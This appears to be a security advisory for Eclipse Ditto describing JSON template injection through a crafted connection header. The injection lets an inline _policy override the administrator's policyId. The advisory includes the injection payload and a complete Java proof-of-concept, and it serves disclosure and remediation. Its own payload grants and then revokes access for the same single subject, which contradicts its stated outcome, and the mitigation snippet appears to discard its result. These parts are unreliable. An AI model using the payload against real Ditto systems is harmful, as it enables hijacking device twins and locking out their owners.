[Eclipse Ditto] JSON Template Injection in ImplicitThingCreationMessageMapper leads to Thing Hijacking and Policy Bypass
**Vulnerability Title:** 0-Click JSON Template Injection in `ImplicitThingCreationMessageMapper` leading to Thing Hijacking and Policy Bypass **Affected Component:** `connectivity/service/src/main/java/org/eclipse/ditto/connectivity/service/mapping/ImplicitThingCreationMessageMapper.java` **Severity:** Critical (CVSS 9.1 - AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N) **Vulnerability Type:** CWE-1336 (Improper Neutralization of Special Elements Used in a Template Engine) ## 1. Executive Summary A 0-click JSON Template Injection vulnerability exists in Eclipse Ditto's `ImplicitThingCreationMessageMapper`. The component uses raw string substitution to inject untrusted connection headers (e.g., MQTT headers) into a predefined Thing JSON template. Because the resolved header values are not JSON-encoded or sanitized before insertion, an attacker can escape the intended JSON string context and inject arbitrary JSON keys. By injecting an inline `_policy` object via a crafted header, an attacker can completely bypass the admin-configured `policyId`, assume full ownership of the newly created Digital Twin, and revoke all access for the legitimate administrators. This breaks the core tenant isolation and access control model of Eclipse Ditto without requiring any interaction from the system administrator (0-click). ## 2. Technical Root Cause Analysis The vulnerability stems from a semantic gap between the Placeholder Engine and the JSON Parser. **Step 1: Raw String Substitution** In `ImplicitThingCreationMessageMapper.java`, the `map()` method resolves placeholders using `PlaceholderFilter.apply`: ```java final String resolvedTemplate; if (Placeholders.containsAnyPlaceholder(thingTemplate)) { resolvedTemplate = PlaceholderFilter.apply(thingTemplate, expressionResolver); } else { resolvedTemplate = thingTemplate; } ``` Analysis of `PlaceholderFilter.java` and `ImmutableExpressionResolver.java` confirms that `apply()` delegates to the expression resolver, which performs a **raw string replacement**. It does not escape quotation marks (`"`) or backslashes (`\`) in the resolved values. **Step 2: Unsafe JSON Parsing** The resolved string is then parsed into a JSON object: ```java final JsonObject thingJson = wrapJsonRuntimeException(() -> JsonFactory.newObject(template)); ``` Because the input is a raw string, an injected quote `"` terminates the current JSON string value, allowing the injection of new JSON keys. **Step 3: Inline Policy Extraction and Precedence** The mapper extracts the inline policy and passes it to the `CreateThing` command: ```java final JsonObject inlinePolicyJson = createInlinePolicyJson(thingJson); final String copyPolicyFrom = getCopyPolicyFrom(thingJson); return CreateThing.of(newThing, inlinePolicyJson, copyPolicyFrom, dittoHeaders); ``` Analysis of `CreateThing.java` (Lines 181-195) proves that if `initialPolicy` (the injected JSON) is present, it completely overrides any `policyId` defined in the Thing template, establishing the attacker's malicious policy as the authoritative access control for the new entity. ## 3. Proof of Concept (PoC) This vulnerability is exploitable via any connection (MQTT, AMQP, HTTP) utilizing the `ImplicitThingCreationMessageMapper`. **Administrative Configuration:** An administrator configures a connection with the following mapping template (a standard use case documented by Ditto): `{"thingId": "ns:{{ header:device_id }}", "policyId": "ns:default-admin-policy"}` **Malicious Payload (0-Click Exploit):** An attacker sends a single message to the connection's source address with the following HTTP/MQTT header: `device_id: x", "_policy": {"entries": [{"subjects": [{"subject": "nginx:admin", "type": "nginx"}], "resources": [{"path": "///", "effect": "GRANT", "actions": ["READ","WRITE"]}, {"path": "///", "effect": "REVOKE", "actions": ["READ","WRITE"]}]}]}, "z":"y` **Resulting Execution:** The `PlaceholderFilter` resolves the template into the following valid JSON structure: ```json { "thingId": "ns:x", "_policy": { "entries": [ { "subjects": [{"subject": "nginx:admin", "type": "nginx"}], "resources": [ {"path": "///", "effect": "GRANT", "actions": ["READ","WRITE"]}, {"path": "///", "effect": "REVOKE", "actions": ["READ","WRITE"]} ] } ] }, "z": "y", "policyId": "ns:default-admin-policy" } ``` The `createInlinePolicyJson` method extracts the `_policy` object. The `CreateThing` command applies this inline policy, ignoring the `ns:default-admin-policy`. The Thing `ns:x` is created with full `READ/WRITE` access granted to the attacker (`nginx:admin`) and revoked for all other subjects. ### Automated Source-Level PoC (Java) To provide an environment-agnostic proof that requires no external broker or running cluster, the following Java code replicates the exact execution path. It proves the vulnerability at the component level. ```java import org.eclipse.ditto.base.model.auth.AuthorizationContext; import org.eclipse.ditto.base.model.auth.AuthorizationSubject; import org.eclipse.ditto.base.model.auth.DittoAuthorizationContextType; import org.eclipse.ditto.connectivity.api.ExternalMessage; import org.eclipse.ditto.connectivity.api.ExternalMessageFactory; import org.eclipse.ditto.connectivity.model.Connection; import org.eclipse.ditto.connectivity.model.ConnectionId; import org.eclipse.ditto.connectivity.model.ConnectionType; import org.eclipse.ditto.connectivity.model.ConnectivityModelFactory; import org.eclipse.ditto.connectivity.model.MappingContext; import org.eclipse.ditto.connectivity.model.Source; import org.eclipse.ditto.connectivity.service.config.DefaultMappingConfig; import org.eclipse.ditto.connectivity.service.config.MappingConfig; import org.eclipse.ditto.connectivity.service.mapping.ImplicitThingCreationMessageMapper; import org.eclipse.ditto.json.JsonObject; import org.eclipse.ditto.protocol.Adaptable; import com.typesafe.config.ConfigFactory; import java.util.Collections; import java.util.HashMap; import java.util.List; import java.util.Map; public class DittoJsonInjectionPoC { public static void main(String[] args) { ImplicitThingCreationMessageMapper mapper = new ImplicitThingCreationMessageMapper(null, ConfigFactory.empty()); String thingTemplate = "{\"thingId\": \"ns:{{ header:device_id }}\", \"policyId\": \"ns:default-admin-policy\"}"; MappingContext mappingContext = ConnectivityModelFactory.newMappingContext( ImplicitThingCreationMessageMapper.class.getName(), Collections.singletonMap("thing", thingTemplate) ); Connection connection = ConnectivityModelFactory.newConnectionBuilder( ConnectionId.of("poc-conn"), ConnectionType.MQTT, ConnectivityModelFactory.newConnectionStatus("open"), "tcp://localhost:1883" ).sources(Collections.singletonList(Source.newBuilder().authorizationContext( AuthorizationContext.newInstance(DittoAuthorizationContextType.UNSPECIFIED, AuthorizationSubject.newInstance("nginx:admin")) ).build())).build(); MappingConfig mappingConfig = DefaultMappingConfig.of(ConfigFactory.empty()); mapper.configure(connection, mappingConfig, mappingContext); // Malicious header payload String maliciousHeader = "x\", \"_policy\": {\"entries\": [{\"subjects\": [{\"subject\": \"nginx:admin\", \"type\": \"nginx\"}], \"resources\": [{\"path\": \"///\", \"effect\": \"GRANT\", \"actions\": [\"READ\",\"WRITE\"]}, {\"path\": \"///\", \"effect\": \"REVOKE\", \"actions\": [\"READ\",\"WRITE\"]}]}]}, \"z\":\"y"; Map<String, String> externalHeaders = new HashMap<>(); externalHeaders.put("device_id", maliciousHeader); ExternalMessage maliciousMessage = ExternalMessageFactory.newExternalMessageBuilder(externalHeaders) .withBytes(new byte[0]) .build(); List<Adaptable> adaptables = mapper.map(maliciousMessage); if (!adaptables.isEmpty()) { Adaptable adaptable = adaptables.get(0); JsonObject payload = adaptable.getPayload().getValue().get().asObject(); if (payload.getValue("_policy").isPresent()) { System.out.println("[+] Vulnerability Confirmed: Inline _policy was successfully injected and parsed."); System.out.println("[+] The CreateThing command will apply the attacker's policy, bypassing the admin policy."); } else { System.out.println("[-] Exploit failed."); } } } } ``` ## 4. Analysis of Existing Security Controls **Control 1: Template Validation (`AbstractProtocolValidator`)** The codebase includes `AbstractProtocolValidator.validateTemplate()`, which runs during connection creation. However, this validator only checks if the placeholder syntax (e.g., `{{ header:device_id }}`) is valid and resolvable. It does not execute during the runtime message processing phase and does not sanitize the untrusted *values* that replace those placeholders when actual IoT devices send data. **Control 2: WoT (Web of Things) Validation** Ditto applies WoT validation to ensure Thing `features` and `attributes` match the Thing Description. This validation does not apply to the `_policy` object. The inline policy is a meta-instruction for the `CreateThing` command, not a property of the Thing schema. Therefore, the injection occurs upstream of WoT validation. **Control 3: Admin Configuration** The use of `{{ header:device_id }}` in the mapping template is not a misconfiguration. The `ImplicitThingCreationMessageMapper` Javadoc explicitly states: *"The thingId must be set in the mapping configuration. It can either be a fixed Thing ID or it can be resolved from the message headers by using a placeholder e.g. `{{ header:device_id }}`."* The security failure lies in the mapper's failure to safely handle untrusted input in a structured data format. ## 5. Impact This vulnerability allows an attacker with basic network access to the connectivity layer to: 1. **Thing Hijacking:** Take full ownership of any newly created device. 2. **Policy Bypass:** Completely ignore the admin-defined `policyId`. 3. **Tenant DoS (Denial of Service):** By injecting a policy that `REVOKE`s access for the admin, the legitimate owner is permanently locked out of the device. The admin cannot read, write, or delete the Thing without direct database intervention. ## 6. Remediation Recommendations The fundamental fix is to stop treating JSON as a raw string. **Recommendation A (Architectural Fix):** Do not use `String` substitution for JSON generation. Parse the `thingTemplate` into a `JsonObject` during configuration. During runtime, traverse the `JsonObject` tree, and for any string value containing a placeholder, resolve the placeholder and set the resolved string as the JSON string value (which forces the JSON library to handle escaping). **Recommendation B (Explicit Key Stripping):** If string substitution must be used, explicitly remove or reject the `_policy` and `_copyPolicyFrom` keys from the `thingJson` *after* resolution and *before* passing it to `CreateThing.of()`, unless they were explicitly defined in the original admin template. ```java // Example mitigation in ImplicitThingCreationMessageMapper.getCreateThingSignal final JsonObject thingJson = wrapJsonRuntimeException(() -> JsonFactory.newObject(template)); // Mitigation: strip inline policy if it wasn't explicitly configured in the original template if (!thingTemplate.contains("\"_policy\"")) { thingJson.remove(Policy.INLINED_FIELD_NAME); } ```
issue

Copyright © Eclipse Foundation AISBL. All rights reserved.     Privacy Policy | Terms of Use | Copyright Agent